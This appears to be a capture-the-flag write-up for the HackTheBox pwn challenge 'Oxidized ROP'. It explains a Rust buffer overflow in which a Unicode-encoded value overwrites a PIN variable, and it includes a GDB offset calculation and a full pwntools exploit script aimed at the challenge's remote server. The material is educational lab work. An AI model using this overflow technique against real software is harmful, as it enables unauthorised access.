← Back to Writeups
HTBN/APwn

Oxidized ROP

XESXOR8/23/20262 min read
#pwn#htb#n/a

Oxidized ROP

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Our workshop is rapidly oxidizing and we want a statement on its state from every member of the team! > flag in /challenge/flag.txt

Solution Approach

Core idea: RUST code review. Local Variable Overwrite using unicode characters.

Steps

  1. In this challenge, we're given a 64 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS

  1. Noticed, the challenge author disclosed the source code. Hence no need to decompile the binary for now.

  2. Upon reviewing the rust code, found a BOF vuln at the save_data() function.

  3. Based on the snippet code above, we can conclude that dest is a mutable reference to an array of u8 with fixed size of INPUT_SIZE --> 200 chars.

  4. Then it tries to copy characters from the src string to the dest buffer. However, the function does not check whether the length of the src string exceeds the size of the dest buffer before copying.

  5. This could lead to Buffer Overflow.

  6. Next, upon reviewing other LOCs, seems our target is to modify the pin value to 123456. This function can be accessed at menu 2.

  7. If we select the second option, we're not allowed to enter a value for the login_pin.

  8. It's because a global variable named PIN_ENTRY_ENABLED os set to false at the beginning. However the pin still checked.

  9. So our objective is to utilize the overflow vuln to overwrite the value for local variable login_pin.

  10. Reviewing the first menu, noticed a read_user_input() usage, it's similiar to gets() in C. Noticed that input_buffer variable is used as the src which the boundary is not checked.

  11. Another things to note in rustpwn, to modify the variable value in rust, we need to encode it so it has wider range of action.

  12. Now let us identify the offset.

USING GDB

To identify the offset:

- Starts with send 8 A's then CTRL+C.
- Remembering PIE is enabled, find an address that ends with 11223344.
  1. Noticed our input not stored as 0x4141414141414141. Instead, each of them has a length of 4 bytes.
  2. At this condition the formula to calculate the offset is:
p (0x7fffffffdab0 - 0x7fffffffd918) / 4
  1. Let us send our payload remotely.

FULL SCRIPT

from pwn import *

exe = './oxidized-rop'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

### sh = process(exe)

sh = remote('94.237.63.83',51413)
padding = 102

### p = flat([

### asm('nop') * padding,

### chr(123456).encode()

### ])

p = cyclic(102) + chr(123456).encode()

sh.sendlineafter(b':', b'1')
sh.sendlineafter(b':', p)
sh.sendlineafter(b':', b'2')

### gdb.attach(sh)

sh.interactive()
  1. We've pwned it!

Flag

REDACTED

Lessons Learned

  1. RUST code review.
  2. Local Variable Overwrite using unicode characters.